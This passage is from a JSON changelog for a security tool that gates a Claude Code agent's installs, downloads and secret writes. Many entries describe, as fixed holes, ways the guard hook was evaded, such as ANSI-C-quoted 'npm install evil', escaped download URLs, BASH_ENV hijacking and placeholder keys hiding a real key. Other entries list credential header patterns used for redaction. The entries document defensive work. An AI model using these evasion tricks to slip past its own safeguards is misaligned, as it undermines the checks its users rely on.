[
 {
  "product": "plugin",
  "version": "0.9.23",
  "date": "2026-10-20",
  "section": "fixed",
  "text": "A scan made minutes ago is read, not refused (RG-271). On a repository scanned inside the reuse window the quote says “charge: 0”, and “/repogates:fix-my-repo” and “/repogates:scan” ran “scan.sh --accept 0”, which answered “bad_request” \"--accept takes 1, 2 or 3\". “scan.sh” takes 0 and both…",
  "pr": null,
  "rg": "RG-271"
 },
 {
  "product": "plugin",
  "version": "0.9.23",
  "date": "2026-10-20",
  "section": "fixed",
  "text": "“/repogates:fix-my-repo” prints every item of the plan, one by one; in the take-3 smoke run Claude summarised the list in two sentences.",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.23",
  "date": "2026-10-20",
  "section": "changed",
  "text": "“/repogates:checkup” runs CLI 0.2.2 (sha256 “9f6f51d0…”), whose “checkup-plaintext-key” fix no longer says \"The check-up sent the provider and a count\" under an “--offline” run's \"sent: nothing\" line. 0.2.1 stays served for plugin 0.9.22.",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.23",
  "date": "2026-10-20",
  "section": "added",
  "text": "Deno lines are read, and an MCP server that runs “docker run” is asked about (RG-278). “deno run npm:pkg”, “deno npm:pkg”, “deno x pkg”, “dx pkg” and “deno install|i|add pkg” named nothing, so “claude mcp add srv -- deno run -A npm:pkg” was neither looked up nor asked about. The npm package is now…",
  "pr": null,
  "rg": "RG-278"
 },
 {
  "product": "service",
  "version": "2026.10.20",
  "date": "2026-10-20",
  "section": "changed",
  "text": "The home page's structured data names the pricing page's plans, monthly ones included; the coming-soon vote page is out of search; /about redirects to /about.html.",
  "pr": 523,
  "rg": "RG-290"
 },
 {
  "product": "plugin",
  "version": "0.9.22",
  "date": "2026-10-19",
  "section": "security",
  "text": "“/repogates:checkup” runs CLI 0.2.1 (sha256 “915275e5…”), which shapes a file name with a space, “(”, “,”, an escape or quotes in a permission rule instead of sending the rest of it (SEC-1019-3), and reads every added line in “secrets --staged/--history” (SEC-1019-4).",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.22",
  "date": "2026-10-19",
  "section": "security",
  "text": "The write guard drops placeholders before it counts (SEC-1019-5): five “ghp_XXXX…” lines above a real key used to fill its cap of five and hide the key. One pass now reads every match, up to 2,000 lines.",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.22",
  "date": "2026-10-19",
  "section": "security",
  "text": "Both hooks start with “BASH_ENV” and “ENV” cleared (SEC-1019-7), beside the pinned “PATH”: a project's settings could set “BASH_ENV”, which bash reads before the hook's first line.",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.22",
  "date": "2026-10-19",
  "section": "fixed",
  "text": "The write guard's question is shown inside Claude Code (RG-272). Its ask carried the reason in “permissionDecisionReason” only, and Claude Code's file-edit permission dialog (2.1.302 and 2.1.303, read in the shipped binary) draws a hook's reason only after a denial limit fell back to a prompt; so…",
  "pr": null,
  "rg": "RG-272"
 },
 {
  "product": "cli",
  "version": "0.2.2",
  "date": "2026-10-19",
  "section": "fixed",
  "text": "Under “--offline”, the “checkup-plaintext-key” fix text no longer says the check-up sent the provider and a count, beside the run's \"sent: nothing\" line.",
  "pr": 515,
  "rg": "RG-271"
 },
 {
  "product": "cli",
  "version": "0.2.1",
  "date": "2026-10-19",
  "section": "security",
  "text": "A file name holding a space, “(”, “,”, an escape or quotes in a permission rule is sent as its shape, instead of the rest of the rule as written (SEC-1019-3).",
  "pr": 511,
  "rg": "RG-275"
 },
 {
  "product": "cli",
  "version": "0.2.1",
  "date": "2026-10-19",
  "section": "security",
  "text": "“secrets --staged” and “secrets --history” read every added line of the diff (SEC-1019-4).",
  "pr": 511,
  "rg": "RG-275"
 },
 {
  "product": "service",
  "version": "2026.10.19",
  "date": "2026-10-19",
  "section": "added",
  "text": "A page on Claude Code security: what to check before an agent installs a plugin or a skill.",
  "pr": 520,
  "rg": "RG-288"
 },
 {
  "product": "service",
  "version": "2026.10.19",
  "date": "2026-10-19",
  "section": "changed",
  "text": "One organisation entity across the site's structured data, sixteen skill checks named where the count is printed, and a sitemap date only where a page states its own.",
  "pr": 519,
  "rg": "RG-286"
 },
 {
  "product": "service",
  "version": "2026.10.19",
  "date": "2026-10-19",
  "section": "changed",
  "text": "The plugin landing page puts the install step first, with a free browser start beside the plugin.",
  "pr": 518,
  "rg": "RG-262"
 },
 {
  "product": "service",
  "version": "2026.10.19",
  "date": "2026-10-19",
  "section": "changed",
  "text": "A reused deep scan can be started for no credit: “accept_credits” takes 0 when the quote says the charge is 0.",
  "pr": 515,
  "rg": "RG-271"
 },
 {
  "product": "service",
  "version": "2026.10.19",
  "date": "2026-10-19",
  "section": "security",
  "text": "Any second use of a spent OAuth refresh token revokes the whole grant, including the pair minted from it (SEC-1019-1).",
  "pr": 510,
  "rg": "RG-276"
 },
 {
  "product": "plugin",
  "version": "0.9.21",
  "date": "2026-10-18",
  "section": "changed",
  "text": "“/repogates:checkup” runs CLI 0.2.0, checked against the SHA-256 written in the command (“828759da…”). 0.2.0 adds the free, offline “repogates-checkup secrets” command, a count of API keys left in plain text in agent config (“checkup-plaintext-key”), and an opt-in “--check-live” that sends a found…",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.21",
  "date": "2026-10-18",
  "section": "security",
  "text": "The hook's credential shapes are the CLI's 0.2.0 list (audit SEC-87): ASIA key ids, PEM private-key headers, “hf_”, “sk_live_”/“rk_live_”, “AIza” and “npm_” are cut from a command line before it is sent.",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.21",
  "date": "2026-10-18",
  "section": "added",
  "text": "The write guard (U-2, the owner's approval of 18 October 2026, \"secrets only\"). A second PreToolUse hook, “hooks/secrets.sh”, runs before Write, Edit, MultiEdit and NotebookEdit. Edit and Write are read for one thing only — an API key about to be saved — checked on the machine and never sent; that…",
  "pr": null,
  "rg": "RG-200"
 },
 {
  "product": "plugin",
  "version": "0.9.21",
  "date": "2026-10-18",
  "section": "security",
  "text": "A timeout of 0 is the default, not \"no limit\" (RG-151, SEC-49). “REPOGATES_TIMEOUT” and “REPOGATES_CONNECT_TIMEOUT” below 1 now mean the default (5 s and 3 s): curl reads “--max-time 0” as no limit, so a project's settings could hold the hook to Claude Code's 15 s kill, after which the tool…",
  "pr": null,
  "rg": "RG-151"
 },
 {
  "product": "plugin",
  "version": "0.9.21",
  "date": "2026-10-18",
  "section": "security",
  "text": "“/repogates:scan” reads its wait and timeout as numbers (RG-151, SEC-55g). “REPOGATES_SCAN_WAIT” (0-900 s, 150 otherwise) and “REPOGATES_TIMEOUT” (1-60 s, 10 otherwise): a value that was not a number broke the wait loop's deadline and was printed raw into the JSON.",
  "pr": null,
  "rg": "RG-151"
 },
 {
  "product": "plugin",
  "version": "0.9.21",
  "date": "2026-10-18",
  "section": "security",
  "text": "“/repogates:checkup” checks the wheel before it runs it (RG-151, SEC-52). The command downloads the wheel to a new temporary directory, compares its SHA-256 with the value written in the command itself (not the “.sha256” file beside the wheel, which comes from the same site), and runs the checked…",
  "pr": null,
  "rg": "RG-151"
 },
 {
  "product": "cli",
  "version": "0.2.0",
  "date": "2026-10-18",
  "section": "added",
  "text": "“repogates-checkup secrets [PATH]”: a free, offline check of files, staged changes (“--staged”) or history (“--history”) for API keys that match the Gitleaks rule set and six AI-provider rules; nothing is sent.",
  "pr": 501,
  "rg": "RG-159"
 },
 {
  "product": "cli",
  "version": "0.2.0",
  "date": "2026-10-18",
  "section": "added",
  "text": "“--check-live”, opt-in: a likely-real key is sent once to its own provider's documented read-only endpoint, and nowhere else.",
  "pr": 501,
  "rg": "RG-159"
 },
 {
  "product": "cli",
  "version": "0.2.0",
  "date": "2026-10-18",
  "section": "added",
  "text": "The check-up counts API keys left in plain text in agent configuration (“checkup-plaintext-key”), sending the provider and a count, never the key.",
  "pr": 501,
  "rg": "RG-244"
 },
 {
  "product": "cli",
  "version": "0.2.0",
  "date": "2026-10-18",
  "section": "security",
  "text": "Seven more token shapes are redacted before anything is sent (SEC-87); a permission rule keeps a file's shape, never its name (SEC-54); the rules cache is written without following a link (SEC-55h).",
  "pr": 501,
  "rg": "RG-151"
 },
 {
  "product": "service",
  "version": "2026.10.18",
  "date": "2026-10-18",
  "section": "added",
  "text": "The account page lists the credentials an account's deep scans found committed, each with a status the user sets: open, rotated or not a secret.",
  "pr": 500,
  "rg": "RG-261"
 },
 {
  "product": "service",
  "version": "2026.10.18",
  "date": "2026-10-18",
  "section": "security",
  "text": "Signing out ends the session on the server, and a reused refresh token revokes the grant (SEC-16, 17, 18, 19, 68).",
  "pr": 494,
  "rg": "RG-151"
 },
 {
  "product": "service",
  "version": "2026.10.18",
  "date": "2026-10-18",
  "section": "security",
  "text": "The site: redirects after sign-in stay on the site, no token in a URL, a cross-origin opener policy (SEC-22, 23, 24, 26, 28, 32, 37).",
  "pr": 496,
  "rg": "RG-151"
 },
 {
  "product": "service",
  "version": "2026.10.18",
  "date": "2026-10-18",
  "section": "security",
  "text": "The scan job: a timed-out engine stops with all its children, archive caps are counted before parsing, development overrides need a flag (SEC-64, 67, 69, 70).",
  "pr": 497,
  "rg": "RG-151"
 },
 {
  "product": "service",
  "version": "2026.10.18",
  "date": "2026-10-18",
  "section": "fixed",
  "text": "An archive whose member names collide is refused as the archive's fault, not recorded as an infrastructure failure (SEC-1019-2).",
  "pr": 508,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.20",
  "date": "2026-10-16",
  "section": "added",
  "text": "“claude mcp add” and “claude mcp add-json” are read (Part P4a). Adding an MCP server starts its command later, so the hook sends the line and the service reads that command as if typed: “claude mcp add srv -- npx -y pkg” is judged as “npx -y pkg” (denied when blocked, asked about when unknown)…",
  "pr": null,
  "rg": null
 },
 {
  "product": "extension",
  "version": "0.8.6",
  "date": "2026-10-14",
  "section": "security",
  "text": "A download on a gated site is never \"not ours\" because of how its address is spelled. Measured 10 October: with a dot after the host name (“codeload.github.com./…”, “raw.githubusercontent.com./…”, “gitlab.com./…”, “huggingface.co./…”) each site serves the file, Chrome keeps the dot, and the gate…",
  "pr": null,
  "rg": null
 },
 {
  "product": "extension",
  "version": "0.8.6",
  "date": "2026-10-14",
  "section": "security",
  "text": "gitlab.com's project API is gated. Every download under “/api/v4/projects/<project>/…” is that project's — the archive, a file, a package, a job's artifacts, a release's downloads and its \"latest\" permalink, and whatever route is added next: the gate does not keep a list of routes. The link names…",
  "pr": null,
  "rg": null
 },
 {
  "product": "extension",
  "version": "0.8.6",
  "date": "2026-10-14",
  "section": "security",
  "text": "A link that has the shape of a download but names nothing readable is not assessable, never \"not ours\" — a name that does not decode to a name. An override for one such link does not open the next, and these links are recorded under names no repository can have (“not-identified:…”), so a verdict…",
  "pr": null,
  "rg": null
 },
 {
  "product": "extension",
  "version": "0.8.6",
  "date": "2026-10-14",
  "section": "security",
  "text": "The block page shows the worker's decision, not its address's. The whole decision used to ride in the page's address, and the page sent it back with the Proceed click. On a managed browser with overrides turned off, an address written by hand got a Proceed button and the worker believed it…",
  "pr": null,
  "rg": null
 },
 {
  "product": "extension",
  "version": "0.8.6",
  "date": "2026-10-14",
  "section": "security",
  "text": "The verdict, score and owner caches are cleaned out. They were one row per repository page ever opened and nothing removed them; at the storage quota a write was refused inside the gate. Expired rows now go every 30 minutes, at most 300 live rows stay, and a refused write makes room instead of…",
  "pr": null,
  "rg": null
 },
 {
  "product": "extension",
  "version": "0.8.6",
  "date": "2026-10-14",
  "section": "fixed",
  "text": "The gate has a catch. An error on the way to a verdict used to leave the download held and undecided, and Chrome let it through after 15 seconds whatever the fail mode. It is now decided by the fail mode, and said on the page as a check that could not be completed. The audit log can no longer…",
  "pr": null,
  "rg": null
 },
 {
  "product": "extension",
  "version": "0.8.6",
  "date": "2026-10-14",
  "section": "fixed",
  "text": "\"Override and download anyway\" on a release asset RepoGates could not name now works for the browser session; it used to start the same download and meet the same block.",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.19",
  "date": "2026-10-11",
  "section": "added",
  "text": "“/repogates:fix-my-repo owner/repo” deep-scans a public repository you maintain and prints what to fix first. It keeps “/repogates:scan”'s rule on money: it quotes, asks with the price, and never spends more than the number you agreed to. Then it prints the scan's fix plan: the findings ranked…",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.19",
  "date": "2026-10-11",
  "section": "added",
  "text": "It reads the plan and never the scan record. “hooks/scan.sh” has three new modes, each a read of the service's plan view (“?format=plan”), which leaves out a finding's own message, the scan's notes and an engine's note: “--plan” (with “--accept N”: the same scan “/repogates:scan” starts, answered…",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.19",
  "date": "2026-10-11",
  "section": "added",
  "text": "What it cannot do, said in the command. An agent may start a scan only for a repository whose ordinary verdict is REVIEW or that could not be assessed; a repository that passes, or is blocked, is scanned from your account page, and the command then reads that scan's plan. A scan reads the code and…",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.19",
  "date": "2026-10-11",
  "section": "added",
  "text": "The MCP server has a twelfth tool, “fix_plan”, which reads the same plan for any MCP client. It starts nothing, spends nothing and changes no code.",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.19",
  "date": "2026-10-11",
  "section": "changed",
  "text": "The service's skill roster has sixteen checks, and the README and the vetting skill say so. S16, declared versus actual behaviour, compares what a skill or plugin says it is for (its description and “allowed-tools”) with what its scripts and hook commands do (a network request, a read of a secret…",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.18",
  "date": "2026-10-08",
  "section": "fixed",
  "text": "“npm.cmd”, “pip.exe”, “yarnpkg” and “pip3.12” were not sent. A Windows launcher (“npm.cmd”, “npx.cmd”, “pip.exe” — Git Bash runs “npm.cmd install x”), yarn's second binary “yarnpkg” and pip under its Python version (“pip3.12”, “pip2”) were words no rule of the hook knew, so “yarnpkg add evil-pkg”…",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.17",
  "date": "2026-10-08",
  "section": "fixed",
  "text": "A quoted “;” or a quoted space hid the package or the verb. The hook splits a line at “;” and at spaces without reading quotes, so “npm install \"--foo=;\" evil-pkg”, “npm --prefix \"my dir\" install evil-pkg”, “pnpm --dir 'my app' add …” and “yarn --cwd \"my app\" add …” were not sent, though the…",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.17",
  "date": "2026-10-08",
  "section": "security",
  "text": "With bash outside the pinned directories, the tool went ahead. “hooks.json” starts the hook with a pinned “PATH” (below). Where “bash” is in none of those directories, or the script cannot be read, “/usr/bin/env” exits 127 with no output, and Claude Code reads a hook that failed without an answer…",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.17",
  "date": "2026-10-08",
  "section": "security",
  "text": "A project's settings could choose the “bash” and “curl” the hook ran. Claude Code started the hook as “bash \"…/preflight.sh\"”, looking “bash” up on the session's “PATH”, which a project's “.claude/settings.json” can set; a project's own “bash”, “curl” or “jq” could then answer for RepoGates.…",
  "pr": null,
  "rg": null
 },
 {
  "product": "extension",
  "version": "0.8.5",
  "date": "2026-10-08",
  "section": "fixed",
  "text": "A paid account is never refused on a count kept by the browser. The extension kept its own mirror of the free trial — ten repositories, thirty days from first use — and the download gate refused on it without asking the service. Nothing ever told the extension an account was paid: the only…",
  "pr": null,
  "rg": null
 },
 {
  "product": "extension",
  "version": "0.8.5",
  "date": "2026-10-08",
  "section": "changed",
  "text": "The gate always asks. The trial is the service's to count — the privacy policy has always said \"the count lives on our server rather than in your browser\". A spent trial comes back as the service's own refusal and is shown in its words. It is still \"not assessed\", never a pass: asking does not…",
  "pr": null,
  "rg": null
 },
 {
  "product": "extension",
  "version": "0.8.5",
  "date": "2026-10-08",
  "section": "changed",
  "text": "Options shows the plan the service reports, read each time the page opens: \"Unlimited repository checks\" on a paid plan or a voucher, the service's count on the trial, \"Not signed in\" (and no number) when the browser is not activated. It used to show the browser's own count, so a subscriber read…",
  "pr": null,
  "rg": null
 },
 {
  "product": "extension",
  "version": "0.8.5",
  "date": "2026-10-08",
  "section": "fixed",
  "text": "The words used when the service sends no number said a 30-day trial. The trial is 14 days; they are now held to the server's value by a test.",
  "pr": null,
  "rg": null
 },
 {
  "product": "extension",
  "version": "0.8.5",
  "date": "2026-10-08",
  "section": "changed",
  "text": "Signing in with another account, or deactivating, forgets what the service said about the previous account's plan.",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.16",
  "date": "2026-10-07",
  "section": "security",
  "text": "ANSI-C and locale quoting left both the hook and the service silent. The shell decodes “$'…'” before the tool runs: “npm $'\\x69nstall' evil” runs “npm install evil”, “$'npm' install evil” and “$\"npm\" install evil” run npm, and “curl -LO $'https://gith\\x75b.com/evil/repo/archive/m.zip'” fetches…",
  "pr": null,
  "rg": "RG-196"
 },
 {
  "product": "plugin",
  "version": "0.9.16",
  "date": "2026-10-07",
  "section": "security",
  "text": "A project could choose the account a line was judged under (SEC-43). A project's “.claude/settings.json” can set “REPOGATES_TOKEN” and “XDG_CONFIG_HOME” for the hook, and the variable won over the saved token file. The hook, “scan.sh” and the check-up CLI now read every place a token can be…",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.16",
  "date": "2026-10-07",
  "section": "security",
  "text": "“/repogates:checkup” runs CLI 0.1.3. It sends a server's or a hook's arguments as a grammar of what the server reads — flag names, “NAME=<redacted>”, URL hostnames, the package a runner starts, the operators of an inline shell script — and every other word as “<arg>” (SEC-44: “--user jsmith --pass…",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.15",
  "date": "2026-10-07",
  "section": "security",
  "text": "A quoted command word or host left the hook silent. 0.9.14 removed quotes and backslashes from package words only; the checks that decide whether a line is sent still read them. “\"gh\" repo clone evil/repo”, “g\\h repo clone …”, “\"npm\" install express”, “npm 'install' evil”, “\"pip\" install flask”…",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.15",
  "date": "2026-10-07",
  "section": "security",
  "text": "A package written as a variable, “$'\\x65vil'”, a parameter expansion or a brace is sent, and the service asks about it (\"argument is a variable or subshell\"). Before, “npm install $'\\x65vil'” installed “evil” unseen.",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.15",
  "date": "2026-10-07",
  "section": "fixed",
  "text": "“uvx”, “pipx run” and “uv tool run” are sent. The service named the package; the hook did not send the line.",
  "pr": null,
  "rg": null
 },
 {
  "product": "cli",
  "version": "0.1.3",
  "date": "2026-10-07",
  "section": "security",
  "text": "An MCP server's or a hook's arguments are sent as a grammar — flag names, “NAME=<redacted>”, URL hostnames, the package a runner starts — and every other word as “<arg>” (SEC-44).",
  "pr": 406,
  "rg": "RG-144"
 },
 {
  "product": "cli",
  "version": "0.1.3",
  "date": "2026-10-07",
  "section": "security",
  "text": "Inside a plugin's or a project's directory no symbolic link is followed (SEC-45).",
  "pr": 406,
  "rg": "RG-144"
 },
 {
  "product": "cli",
  "version": "0.1.3",
  "date": "2026-10-07",
  "section": "security",
  "text": "One token is used: when the token file and “REPOGATES_TOKEN” hold different values, the run is an offline one that says why (SEC-43).",
  "pr": 406,
  "rg": "RG-144"
 },
 {
  "product": "plugin",
  "version": "0.9.14",
  "date": "2026-10-06",
  "section": "security",
  "text": "A token the shell assembles leaked its tail. RG-185's rules cut the piece of a value before a quote, so “-H \"X-Key: gh\"\"p_…\"” and a token broken by a line continuation left as “$REDACTED\"p_…”, the token less two letters. RG-186's reading of the line as the shell builds it then saw no token. Now…",
  "pr": null,
  "rg": "RG-185"
 },
 {
  "product": "plugin",
  "version": "0.9.14",
  "date": "2026-10-06",
  "section": "security",
  "text": "A header inside an assignment leaked its value. RG-186 reads “NAME=value” first (its old reading, a value runs to the first blank), so the “Authorization:” in “GIT_CONFIG_VALUE_0=\"Authorization: Bearer t1\"” was gone before RG-185 looked for it, and “t1” left. RG-185's rules now run before it.",
  "pr": null,
  "rg": "RG-186"
 },
 {
  "product": "plugin",
  "version": "0.9.14",
  "date": "2026-10-06",
  "section": "security",
  "text": "A tab in a URL's user name is RG-186's: the word is rebuilt without the user name (“'https://github.com/o/r'”). RG-185's tab rule is gone.",
  "pr": null,
  "rg": "RG-186"
 },
 {
  "product": "plugin",
  "version": "0.9.14",
  "date": "2026-10-06",
  "section": "security",
  "text": "An ANSI-C quoted URL (“$'https:\\x2f\\x2fu:…@…'”) has its user name cut by RG-178's scheme rules as typed, and leaves in its own quoting; the service reads it as unresolvable and asks, where RG-186 alone rebuilt it for assessment. No secret leaves either way.",
  "pr": null,
  "rg": "RG-178"
 },
 {
  "product": "plugin",
  "version": "0.9.14",
  "date": "2026-10-06",
  "section": "security",
  "text": "The line as typed is bounded first, at 64 KB, before any rule reads it, and every bound speaks in the service's words",
  "pr": null,
  "rg": "RG-183"
 },
 {
  "product": "plugin",
  "version": "0.9.14",
  "date": "2026-10-06",
  "section": "security",
  "text": "A backslash inside a value is the value's (“--password p\\$1” is cut whole); only a backslash that ends a line is kept out, so a token broken by a continuation reaches the shell's reading whole.",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.14",
  "date": "2026-10-06",
  "section": "security",
  "text": "An assignment inside quotes is cut (“-e 'DB_PASS=x'”), and a value that begins with “=” is a version pin, not an assignment: “pip install 'flask==2.0'” is sent as written. RG-186 alone sent it as “'flask=REDACTED'”, which the service cannot read.",
  "pr": null,
  "rg": "RG-186"
 },
 {
  "product": "plugin",
  "version": "0.9.14",
  "date": "2026-10-06",
  "section": "fixed",
  "text": "What was slow. Measured on 6 October 2026 in Debian bookworm under “C.UTF-8”. “git clone 'https://”, 1 MB of “:”, a tab and “x/@'” held the hook 45 s in the URL user-name rule, and 2.8 s at 256 KB. With a backslash before the @, the backslash rule added as much again. “npm i x”, 256 KB of letters…",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.14",
  "date": "2026-10-06",
  "section": "changed",
  "text": "Under C. The same lines take 0.14 s and 0.24 s. macOS sed and grep were never affected: they are linear in either locale.",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.14",
  "date": "2026-10-06",
  "section": "changed",
  "text": "C is also how bash reads the line. bash splits words on ASCII whitespace only, and every character the hook's patterns stop at is ASCII. The tests have always run the hook under C, because they set no locale.",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.14",
  "date": "2026-10-06",
  "section": "security",
  "text": "One more user name is cut. A user name holding a non-ASCII space (“https://ghp_x<U+3000>y@github.com/o/r”) is one word to bash. In a UTF-8 locale the rule stopped at the space and sent the user name whole. It is cut now.",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.14",
  "date": "2026-10-06",
  "section": "fixed",
  "text": "Printable ASCII is the byte range 0x20-0x7E. The hook now writes it as that range (“tr -cd '\\040-\\176'”), not as a class. Under the C locale “[:print:]” keeps exactly those 95 bytes on GNU tr and on macOS tr, so nothing changes there: on five inputs, main's output under GNU and under macOS's C…",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.14",
  "date": "2026-10-06",
  "section": "fixed",
  "text": "A reason with a byte that is not UTF-8 is no longer emptied on macOS. In a UTF-8 locale macOS sed exits with no output on such a byte, so the whole reason vanished. In the same locale macOS tr's “[:print:]” kept non-ASCII letters, so \"printable ASCII\" did not hold there either. Each step now runs…",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.14",
  "date": "2026-10-06",
  "section": "fixed",
  "text": "A header that is not UTF-8 no longer turns a deny into an ask on macOS. The hook read the response headers with “tr -d '\\r'”, and in a UTF-8 locale macOS tr stops at the first byte that is not UTF-8. Every header after that byte was lost, so a deny reached Claude Code as \"the verdict service gave…",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.14",
  "date": "2026-10-06",
  "section": "fixed",
  "text": "The last resort reads a command in time proportional to its length. Without jq or python the hook unescapes the command's JSON string itself, in awk. It built the command one character at a time, and mawk and BWK awk (the awk of macOS) copy the whole string at every character. It now splits the…",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.14",
  "date": "2026-10-06",
  "section": "fixed",
  "text": "The body sent to the service is built by sed. The last resort's JSON body was awk's gsub, and that went wrong two ways. BWK awk's gsub is quadratic too (4.4 seconds for this line at 1 MB). And under mawk and busybox awk, “gsub(/\\\\/, \"\\\\\\\\\")” puts back one backslash, not two, so a backslash in the…",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.14",
  "date": "2026-10-06",
  "section": "security",
  "text": "Quotes and backslashes are taken off each word before it is matched, as the shell does. A word that is empty after that is skipped.",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.14",
  "date": "2026-10-06",
  "section": "security",
  "text": "“-c” / “--call” take a value after npx and npm exec only. “npx -c 'eslint .'” is a local command string and stays quiet; a fetch inside it is still sent. To “pnpm dlx” and “pnpx”, “-c” is a switch, and the next word is installed, so it is read as a package there.",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.14",
  "date": "2026-10-06",
  "section": "security",
  "text": "Any run of slashes and backslashes after the scheme, or none. After “http”, “https”, “ws”, “wss” and “ftp” the WHATWG URL standard reads any such run as the “//”, and on 5 October 2026 curl 8.7.1, git 2.50.1, npm 11.17.0 and uv 0.11.14 fetched “http:///127.0.0.1:18002/a/b”, and curl, npm and uv…",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.14",
  "date": "2026-10-06",
  "section": "fixed",
  "text": "A scheme name inside a word is not a scheme. “news:a@b”, “aws:x@y”, “sftp:u@h” and an image digest such as “docker/news:1.0@sha256:…” are sent as written. “git+https:”, “url.https:” and “\\https:” count, because a tool reads a URL there.",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.14",
  "date": "2026-10-06",
  "section": "security",
  "text": "A “?” or “#” ends the host. On 5 October 2026 curl 8.7.1, git 2.50.1, npm 11.17.0 and uv 0.11.14 connected to port 18001 for “http://127.0.0.1:18001?x@127.0.0.1:18002/” and for its “#” twin (two loopback listeners; pip 26.2.1 made no connection). After “http”, “https”, “ws”, “wss” and “ftp”, with…",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.14",
  "date": "2026-10-06",
  "section": "security",
  "text": "One pass to the last @. npm and curl also connected to 18001 with a user name in front (“http://u:p@127.0.0.1:18001?x@…”), and npm and uv connected to 18002 for “http://u@127.0.0.1:18001@127.0.0.1:18002/”. RG-178's rules cut the first user name and a second rule then cut the next one, so…",
  "pr": null,
  "rg": "RG-178"
 },
 {
  "product": "plugin",
  "version": "0.9.14",
  "date": "2026-10-06",
  "section": "changed",
  "text": "The first of “?”, “#” and a backslash is the one kept. “https://a?b\\c@h” is sent as “https://?@h”, “https://a\\b?c@h” as “https://\\@h”. Each makes the service ask.",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.14",
  "date": "2026-10-06",
  "section": "changed",
  "text": "A shell expansion in a user name is kept as “$”. The shell replaces “$…” and backticks before the tool reads the URL, so the service cannot tell what the line names, and asks about a variable or subshell. The redaction cut the expansion away with the user name and the ask went with it; this is…",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.14",
  "date": "2026-10-06",
  "section": "changed",
  "text": "After “//” and a backslash the @ is kept. “https://\\x@github.com/o/r” was sent as “https://\\github.com/o/r” by RG-178's rules, which the service's URL parser reads as the host “\\github.com”: a quoted clone or archive URL of that shape named nothing. It is sent as “https://\\@github.com/o/r”, as…",
  "pr": null,
  "rg": "RG-178"
 },
 {
  "product": "plugin",
  "version": "0.9.14",
  "date": "2026-10-06",
  "section": "security",
  "text": "Credential headers. The value after “Authorization:”, “Proxy-Authorization:”, “Cookie:”, “PRIVATE-TOKEN:”, “JOB-TOKEN:” and “DEPLOY-TOKEN:”, and after any header named “…-Token”, “…-Key”, “…-Secret”, “…-Auth” or “…-Password”. Any case. This covers “curl -H”, “wget --header”, “git -c…",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.14",
  "date": "2026-10-06",
  "section": "security",
  "text": "A user:password after “-u”, “--user” or “--proxy-user”. Only when it holds a colon. pip's “--user” is a switch, and “pip install --user flask” is sent as written.",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.14",
  "date": "2026-10-06",
  "section": "security",
  "text": "Credential options. The value after “--password”, “--passwd”, “--http-password”, “--ftp-password”, “--proxy-password”, “--token”, “--access-token”, “--auth-token”, “--api-token”, “--private-token”, “--api-key”, “--client-secret”, “--secret” and “--oauth2-bearer”.",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.14",
  "date": "2026-10-06",
  "section": "security",
  "text": "npm's and yarn's auth keys. “_authToken”, “_auth”, “_password”, “npmAuthToken” and “npmAuthIdent”, with “=” or with a space (“npm config set //registry.npmjs.org/:_authToken npm_…”).",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.14",
  "date": "2026-10-06",
  "section": "security",
  "text": "Key=value pairs whose key names a credential. The key ends in token, key, secret, password, signature, sig, credential, auth, jwt or bearer. That covers a raw GitHub URL's “?token=”, GitLab's “private_token=”, a presigned URL's “X-Amz-Signature=”, and “-e \"GITHUB_TOKEN=…\"” in quotes, which the…",
  "pr": null,
  "rg": null
 },
 {
